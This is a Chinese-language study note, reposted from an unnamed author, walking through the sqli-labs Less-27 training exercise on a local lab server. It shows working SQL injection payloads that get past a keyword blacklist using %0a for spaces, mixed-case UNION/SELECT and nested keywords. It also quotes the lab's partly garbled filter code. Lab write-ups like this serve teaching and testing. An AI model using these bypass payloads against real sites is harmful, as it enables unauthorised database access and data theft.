- 转自一个不知名大佬的笔记
----------------------------------less-27------------------------------------
url:
http://192.168.137.138/sqli-labs-master/Less-27
添加id值
现在先用'和"去看看,页面会不会出错
单引号报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
错误分析:
near ' ' 1' ' LIMIT 0,1 ' at line 1
猜测sql语句:
select username,password from table where id='input'
测试过滤的字符:(andor)*#/||- -+
返回页面错误
页面hint:
Hint: Your Input is Filtered with following result: 1(andor)
也就是说 # --+ 空格 /**/ 被过滤了
现在去测试闭合条件正确与否:
构造语句:
1'and'1
变化第一个1的值
2'and'1
如果返回页面不相同,那么说明闭合条件猜测正确
使用联合查询:
0'union%0aselect%0a1,2,3%0aand'1
(假设已经知道 字段数为 3)
效果如下:
返回页面错误
页面hint:
Hint: Your Input is Filtered with following result: 2' 1,2,3 and'1
说明 union 和 select 已经被过滤了,但是%0a替换的空格并没有过滤
(都是相同的环境为什么less-26中只有%0b能替换空格,而这里用%0a就行了呢?稍后解答)
现在将 union 和 select 改变大小写试试:
0'unIoN%0aSelEcT%0a1,2,3%0aand'1
效果如下:
页面报出了 字段位置
Your Login name:2
Your Password:1
然后在1和2的位置进行 信息查询,在其过程中发现 字段 1 的位置,报不出信息,只能用2 的,这里是为什么呢?目前不知道
现在去看看源码
部分源码(过滤字符部分)
function blacklist(id= preg_replace('/[/*]/',"",
id= preg_replace('/[--]/',"",
id= preg_replace('/[#]/',"",
id= preg_replace('/[ +]/',"",
id= preg_replace('/select/m',"",
id= preg_replace('/[ +]/',"",
id= preg_replace('/union/s',"",
id= preg_replace('/select/s',"",
id= preg_replace('/UNION/s',"",
id= preg_replace('/SELECT/s',"",
id= preg_replace('/Union/s',"",
id= preg_replace('/Select/s',"",
id;
}
在这里解答,为什么同一环境,同一版本的服务器,less-26和less-27的空格替换不同
less-27的空格过滤:
id);//匹配 一个或更多的空格
less-26的空格过滤:
id);//匹配任意的空白字符(\s)
所以替换条件不同
看过 过滤函数 后
对于 union 和 select 的过滤 绕过思路:
1.之前进行的方法,大小写变换,因为 '/union/s' 这个s是对大小写敏感的,如果是i的话,就不行了
- 通过多次叠加的方式进行绕过
例如:
uniunionon(在过滤函数中,过滤了两次) , selselselectectect(过滤了三次)
但是这种方式呢,如果他进行无限次的过滤,也不起作用,想起以前看的 preg_replace()函数了嘛,里面可以进行无限次的过滤
***********************************分割线************************************
-----------------------------------less-27a----------------------------------
思路和方法都和 less-27 相同
只是后台的 sql 语句不同而已
在笔记中就不做介绍了